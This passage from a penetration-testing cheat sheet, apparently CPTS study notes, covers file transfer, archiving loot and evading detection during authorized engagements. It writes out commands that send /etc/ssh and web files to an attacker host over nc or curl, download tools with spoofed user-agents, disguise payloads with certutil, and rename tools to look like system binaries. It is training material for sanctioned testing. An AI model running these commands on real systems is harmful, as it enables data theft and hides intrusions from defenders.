(`ntds.dit` + registry hives, source trees, log dirs) or a flaky channel. Fewer bytes = fewer retries = less time on the wire. **MITRE:** T1560.001 (Archive Collected Data). 471 472 ```bash 473 # Linux — tar stream (exfil in one pipe, no temp file on target) 474 tar czf - /var/www/html /etc/ssh 2>/dev/null | nc $LHOST 443 > /dev/null # ...or | curl -T - http://$LHOST/up.tgz 475 ``` 476 ```powershell 477 # Windows — Compress-Archive (PS 5.0+), then transfer the .zip by any cradle above 478 Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip 479 ``` 480 ```batch 481 :: pre-PS5 / cmd-only: PowerShell one-shot still works from cmd 482 powershell -c "Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip" 483 ``` 484 485 > [!warning] Watch out 486 > `tar`/`Compress-Archive` of *live* Windows files (registry hives, locked DBs) fails or grabs torn copies — for hives use `reg save HKLM\SAM sam` / `reg save HKLM\SYSTEM system` first, for `ntds.dit` use shadow-copy or `ntdsutil` (see [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)). 487 488 --- 489 490 ### Evading detection (OPSEC) 491 492 **What to look for** → evasive testing is *in scope* and the target has EDR/SIEM. Every downloader has a fingerprintable default user-agent; command-line blacklisting is weak but whitelisting + UA baselining is what actually catches these. 493 494 ```powershell 495 # Spoof the UA to a browser preset so it blends with normal egress traffic 496 $UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome 497 Invoke-WebRequest http://%LHOST%/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe 498 ``` 499 ```batch 500 :: certutil doubles as a base64 encoder/decoder — stage an "encoded cert" past naive content filters 501 certutil -encode payload.exe payload.b64 502 certutil -decode payload.b64 payload.exe 503 ``` 504 505 > [!warning] Watch out 506 > - Known UA tells: `Microsoft-CryptoAPI/10.0` (certutil), `Microsoft BITS/7.8` (BITS), `…WindowsPowerShell/5.1…` (IWR). A blue team baselining legit UAs flags every one of these — the UA spoof only helps against UA-based rules, not against EDR watching the *process tree*. 507 > - **AMSI inspects `IEX` cradles in memory** — a `DownloadString | IEX` of a signatured script (mimikatz-family, older PowerView) dies at execution even if the download was clean. Obfuscate the *content*, not just the channel; and remember AMSI is per-process — `powershell -enc` still passes through it. 508 > - **The download is rarely the loud part** — it's the SYSTEM `cmd`/`powershell` that the payload spawns (Event 4688). Getting the file over quietly buys nothing if execution screams. 509 > - Check **LOLBAS** (`/download`,`/upload`) and **GTFOBins** (`+file download/upload`) per-engagement for a binary *already whitelisted in that environment* — that beats any famous-but-signatured default. Confirm evasive testing is scoped before deliberately dodging detection. 510 > - **Cleanup (T1070.004):** delete staged tools (`nc64.exe`, archives, scripts), remove mapped drives, and clear `$env:TEMP` artifacts before ending the session — orphaned attacker tooling in `C:\Windows\Temp` is the #1 "you forgot something" debrief item. 511 > - **Staging path choice matters:** `C:\Windows\Temp` and `C:\Users\Public` are the classic drops *because they're world-writable* — and also the first places a responder looks. A per-engagement folder under the compromised user's own profile blends better and inherits that user's permissions. 512 > - **Rename to blend (T1036):** `nc64.exe` → `svchost-update.exe` / `audiodg.exe` naming conventions reduce casual triage hits, but do nothing against hash- or signature-based detections. Pair renaming with the integrity habit: record the *new* name ↔ SHA256 mapping in your notes so the report's evidence chain stays honest. 513 514 > [!example] CPTS workflow recap 515 > 1. `which curl wget nc` / `where curl certutil` on target → pick the fetcher. 516 > 2. Serve on Pwnbox (`python3 -m http.server 80` or `updog --ssl`). 517 > 3. Transfer, then **hash-verify** against `attachments/SHA256SUMS.txt` habit. 518 > 4. Execute; when done, clean up staged files and note the channel used for the report's ATT&CK mapping. 519 520 --- 521 522 ### Troubleshooting matrix — "the transfer didn't work" 523 524 | Symptom | Likely cause | Fix | 525 |---|---|---| 526 | Target: connection timed out | Egress filter on that port; wrong `$LHOST`; server bound to localhost | Try 443/80; re-check `ip a` tun0; re-bind `--bind 0.0.0.0` | 527 | Target: connection refused | Nothing listening / Pwnbox firewall drops it | `ss -lntup` on Pwnbox; `iptables -I INPUT ... -j ACCEPT` | 528 | Server log shows 404 | Target asked for the wrong path (case, cwd) | Serve from a dedicated staging dir; copy the exact filename | 529 | File arrives but won't run / hash mismatch | ASCII-mode FTP mangling; paste wrap; truncated `nc` | Re-send in binary mode; `md5sum` both ends; use `-q 0` clean close | 530 | `certutil` downloads a 0-byte or HTML file | Proxy interception / captive portal answering instead of my server | Try `curl.exe` or SMB; inspect what actually landed (`type file`) | 531 | `copy \\$LHOST\share\` → "logon failure" | Guest SMB blocked (modern Windows default) | `net use n: \\$LHOST\share /user:u p` against an authed share | 532 | WebDAV `copy` → "network path not found" | WebClient service stopped on target | `net start webclient` (needs the service present) | 533 | `iwr` TLS error on HTTPS | Self-signed cert rejected | Set `ServerCertificateValidationCallback = {$true}` first | 534 | FTP connects but `GET` hangs | Active-mode data channel blocked by firewall | Switch to passive mode, or abandon FTP for HTTP | 535 | Big file dies mid-transfer every time | Flaky link, no resume on raw nc | Compress first; use BITS/`rsync`/meterpreter (resumable) | 536 537 > [!tip] Transfer hygiene checklist (before leaving the box) 538 > - [ ] Staged tools deleted from `/tmp`, `C:\Windows\Temp`, `C:\Users\Public` 539 > - [ ] `net use` mappings removed; RDP `/drive` shares disconnected 540 > - [ ] Listeners killed on Pwnbox (`jobs -K` in msf, `fuser -k` for stray `nc`/`http.server`) 541 > - [ ] Loot encrypted at rest on the attack box; hashes recorded for the report evidence chain 542 > - [ ] Channels + filenames logged for the ATT&CK mapping in [Stage 11](/sheets/pentest-workflow/documentation-and-reporting) 543 544 --- 545 546 > [!navigation] Continue the attack flow 547 > **Previous:** [Stage 02 — Web Enumeration and Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) 548 > 549 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 550 > 551 > **Next:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit)